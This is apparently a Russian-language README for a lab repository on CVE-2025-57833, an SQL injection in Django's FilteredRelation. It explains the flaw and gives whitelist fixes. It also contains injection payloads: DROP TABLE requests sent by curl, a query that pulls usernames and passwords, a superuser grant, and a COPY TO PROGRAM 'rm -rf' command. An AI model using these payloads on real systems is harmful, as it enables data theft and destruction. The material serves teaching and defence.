
Мы создали среду для тестирования CVE-2025-57833. Эта среда была построена с использованием ИИ, поэтому она может постоянно изменяться.
Этот репозиторий демонстрирует и объясняет CVE-2025-57833, критическую уязвимость SQL-инъекции в ORM Django, затрагивающую версии 4.2 до 4.2.24, 5.1 до 5.1.12 и 5.2 до 5.2.6.
Оценка CVSS: 9.8 (Критическая)
Воздействие: SQL-инъекция, приводящая к удалённому выполнению кода (RCE)
Требуется аутентификация: Нет (неаутентифицированная атака)
Django ORM (объектно-реляционное отображение) позволяет разработчикам взаимодействовать с базами данных с помощью кода Python вместо сырых SQL-запросов. Например:
# Вместо сырого SQL: SELECT * FROM books WHERE author_id = 1
books = Book.objects.filter(author_id=1)
FilteredRelation — это функция Django, позволяющая объединять таблицы с дополнительными условиями фильтрации:
# Объединяем книги с авторами, но только активных авторов
Book.objects.annotate(
active_author=FilteredRelation('author', condition=Q(author__is_active=True))
).select_related('active_author')
Иногда разработчикам нужно создавать имена полей динамически на основе пользовательского ввода:
# Пользователь хочет искать по разным критериям
search_field = request.POST.get('field_name') # Пользовательский ввод: "title", "author" и т.д.
# Создание динамического поля с помощью **kwargs
queryset.annotate(**{
search_field: FilteredRelation('some_relation')
})
Уязвимость возникает, когда несанированный пользовательский ввод используется в качестве ключей словаря в annotate() или alias() с FilteredRelation. Вот пошаговый процесс:
# Вот что делают уязвимые приложения:
user_input = request.POST.get('search_field') # Злоумышленник контролирует это
# Уязвимость здесь — пользовательский ввод становится псевдонимом SQL-столбца
queryset.annotate(**{
user_input: FilteredRelation("author") # ❌ ОПАСНО
})
Злоумышленник отправляет вредоносный ввод:
user_input = "malicious_field'; DROP TABLE users; --"
Django генерирует такой SQL:
SELECT ...
FROM book
LEFT OUTER JOIN author AS malicious_field'; DROP TABLE users; -- ON ...
Вредоносный SQL выполняется, что потенциально может:
Многие Django-приложения имеют функционал поиска, где пользователи могут выбирать поле для поиска:
# views.py — распространённый уязвимый шаблон
def search_books(request):
search_field = request.POST.get('search_by') # "author", "title", "category"
search_value = request.POST.get('search_value')
# Разработчик думает, что это безопасно — НЕТ!
books = Book.objects.annotate(**{
f"filtered_{search_field}": FilteredRelation(
search_field,
condition=Q(**{f"{search_field}__name__icontains": search_value})
)
})
return JsonResponse({'books': list(books.values())})
# Злоумышленник отправляет такой POST-запрос:
curl -X POST http://example.com/search/ \
-d "search_by=author'; DROP TABLE auth_user; --" \
-d "search_value=anything"
# НИКОГДА НЕ ДЕЛАЙТЕ ТАК — прямой пользовательский ввод в качестве ключа словаря
user_field = request.POST.get('field')
queryset.annotate(**{
user_field: FilteredRelation('relation') # SQL-инъекция!
})
# БЕЗОПАСНО — используйте проверку по белому списку
ALLOWED_FIELDS = ['author', 'category', 'publisher']
user_field = request.POST.get('field')
if user_field not in ALLOWED_FIELDS:
raise ValidationError("Недопустимое поле")
queryset.annotate(**{
user_field: FilteredRelation('relation') # Теперь безопасно
})
# БЕЗОПАСНО — используйте статические имена полей
search_type = request.POST.get('search_type')
if search_type == 'author':
queryset.annotate(filtered_author=FilteredRelation('author'))
elif search_type == 'category':
queryset.annotate(filtered_category=FilteredRelation('category'))
-- Извлечение конфиденциальных данных
'; SELECT username, password FROM auth_user; --
-- Изменение данных
'; UPDATE auth_user SET is_superuser = true WHERE id = 1; --
-- Выполнение системных команд (PostgreSQL с соответствующими расширениями)
'; COPY (SELECT '') TO PROGRAM 'rm -rf /tmp/*'; --
ALLOWED_FIELDS = ['author', 'title', 'category', 'publisher']
def safe_annotate(queryset, field_name):
if field_name not in ALLOWED_FIELDS:
raise ValidationError(f"Поле '{field_name}' не разрешено")
return queryset.annotate(**{
field_name: FilteredRelation('relation')
})
# Вместо динамических имён полей используйте условную логику
def get_filtered_queryset(search_type):
if search_type == 'author':
return queryset.annotate(result=FilteredRelation('author'))
elif search_type == 'category':
return queryset.annotate(result=FilteredRelation('category'))
else:
raise ValidationError("Недопустимый тип поиска")
Обновите Django до последней версии:
Этот репозиторий включает полную тестовую среду:
# Запустите уязвимое Django-приложение
docker-compose up
# Протестируйте уязвимость
curl -X POST http://localhost:8000/api/vulnerable-search/ \
-H "Content-Type: application/json" \
-d '{"search_field": "malicious\"; DROP TABLE IF EXISTS test; --"}'
Подробные инструкции по тестированию см. в document/README.md.
Этот репозиторий предназначен только для образовательных целей и целей защиты. Не используйте эту информацию для атак на системы, которыми вы не владеете или не имеете разрешения на тестирование.